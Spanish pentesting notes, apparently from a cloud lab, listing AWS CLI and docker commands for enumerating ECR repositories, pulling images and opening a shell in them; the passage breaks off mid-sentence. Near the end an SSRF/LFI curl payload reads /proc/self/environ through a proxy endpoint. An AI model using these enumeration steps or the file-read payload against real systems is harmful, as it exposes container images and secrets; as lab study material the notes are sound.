Pentesting ECRs
AWS - ECR Unauthenticated Enum - HackTricks Cloud
Listar las imágenes de un repositorio por el registro en el que se encuentra:
bash
aws ecr list-images --repository-name NAME --registry-id ID --region regionPara poder obtener el ID de registro:
bash
aws sts get-caller-identity --profile profile --region regionEsto nos lista entre otras cosas el AccountId que nos vale como id del registro, porque es la cuenta propietaria de ese registro.
Después:
bash
aws ecr describe-images --repository-name NAME --registry-id ID --region regionObtener el digest de la imagen (id):
bash
aws ecr batch-get-image --repository-name NAME --registry-id ID --image-ids imageTag=latest --region region | jq '.images[].imageManifest | fromjson'Obtener la url de descarga de la imagen pasándole el digest:
bash
aws ecr get-download-url-for-layer --repository-name NAME --registry-id ID --layer-digest "sha256:digest" --region regionDeployear imagen
bash
aws configure --profile profilebash
aws ecr get-login-password --region region --profile profile | \
docker login --username AWS --password-stdin {registry-id}.dkr.ecr.region.amazonaws.comHacemos pull de la imagen del repositorio level2
bash
docker pull {registry-id}.dkr.ecr.{region}.amazonaws.com/{repository}:latestEjecutamos una shell
bash
docker run -it --rm {registry-id}.dkr.ecr.{region}.amazonaws.com/{repository}:latest shSSRF
Podemos probar un LFI
bash
curl http://container/proxy/file:///proc/self/environ --output - ; echoNos viene de perlas un SSRF en un ECR para poder acceder a direcciones como: